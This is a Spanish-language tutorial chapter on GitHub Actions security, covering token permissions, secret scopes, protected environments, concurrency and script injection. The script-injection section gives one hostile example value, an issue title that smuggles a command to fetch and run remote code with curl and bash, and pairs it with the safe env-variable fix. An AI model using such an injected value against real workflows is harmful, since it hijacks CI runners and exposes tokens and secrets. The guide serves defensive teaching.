Seguridad en Actions

Por: Artiko
githubgithub-actionsseguridaddevops

Seguridad en Actions

Un workflow tiene acceso al código, a un token con permisos sobre el repo y, a menudo, a secrets de producción. Esta es la superficie de ataque más real de .github: un run: mal escrito puede filtrar un token o ejecutar código arbitrario. Vamos por las cuatro palancas de seguridad que controlás desde el YAML.

Permisos del GITHUB_TOKEN

Cada ejecución recibe un GITHUB_TOKEN efímero. Por defecto arranca con permisos amplios; el bloque permissions: te deja recortarlos. Podés definirlo a nivel del workflow completo (aplica a todos los jobs) o a nivel de un job individual (solo ese job).

permissions:            # a nivel workflow: aplica a todos los jobs
  contents: read

jobs:
  etiquetar:
    permissions:        # a nivel job: sobrescribe para este job
      contents: read
      pull-requests: write
    runs-on: ubuntu-latest
    steps:
      - run: echo "solo este job puede escribir PRs"

Principio de mínimo privilegio: arrancá con lo mínimo y sumá solo lo que el job necesite.

Punto de partidaEfecto
permissions: {}Revoca todos los permisos del token
permissions:
contents: read
Solo lectura del repo (checkout, nada de escritura)
Sumar pull-requests: writeHabilita comentar/etiquetar PRs
Sumar issues: writeHabilita crear/editar issues

Nota: definir permissions a nivel workflow con contents: read y elevar puntualmente en el job que lo necesite es el patrón recomendado. Un job que solo corre tests no debería tener permiso de escritura sobre nada.

Secrets: repo, organización y environment

Los secrets se referencian con ${{ secrets.NOMBRE }} y se definen en tres scopes:

ScopeDónde se defineAlcance
RepositorioSettings → Secrets → ActionsTodos los workflows del repo
OrganizaciónSettings de la orgRepos seleccionados de la org
EnvironmentDentro de un environmentSolo jobs que referencian ese environment:

Los secrets de environment solo están disponibles si el job declara ese environment, y quedan sujetos a sus protection rules (ver abajo). Es el scope más seguro para credenciales de despliegue.

Environments con protection rules

Un environment (ej. produccion) agrupa configuración de despliegue y le pone barreras a los jobs que lo usan:

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: produccion
    steps:
      - run: ./deploy.sh

Concurrency

La clave concurrency agrupa ejecuciones para que no corran en paralelo cuando no deben. Acepta un string fijo o una expresión dinámica que puede referenciar los contextos github, inputs, vars, needs, strategy y matrix.

concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: true

Nota: existe una opción más reciente queue: max que permite varias corridas en cola simultáneas. Es una novedad reciente y puede estar sujeta a cambios; consultá la documentación oficial antes de depender de ella.

Script injection: el error más peligroso

El contexto github incluye datos del evento controlados por quien dispara el workflow: título de una issue, título de un PR, nombre de un branch. Interpolar ese valor directamente dentro de un run: de shell abre la puerta a script injection: el atacante pone comandos en el título y GitHub los pega tal cual en el script.

# INSEGURO — el título del issue se pega dentro del shell
- run: echo "Nuevo issue: ${{ github.event.issue.title }}"

Si el título es "; curl evil.sh | bash; #, ese comando se ejecuta. La defensa es pasar el valor por una variable de entorno y referenciarla como $VARIABLE dentro del script — el shell la trata como dato, no como código:

# SEGURO — el valor viaja por env y el shell no lo interpreta como comando
- env:
    TITULO: ${{ github.event.issue.title }}
  run: echo "Nuevo issue: $TITULO"

Regla general: nunca interpoles input no confiable directamente en un run:. Pasalo por env: siempre.

Contextos disponibles

Además de github, un workflow expone otros contextos que podés usar en expresiones: env, vars, job, jobs, steps, runner, secrets, strategy, matrix, needs, inputs. Cada uno tiene su alcance; consultá la documentación de contextos de GitHub para el detalle de qué campos expone cada uno y en qué parte del workflow está disponible.


AnteriorCapítulo 5: Reusable workflows · SiguienteCapítulo 7: Community health files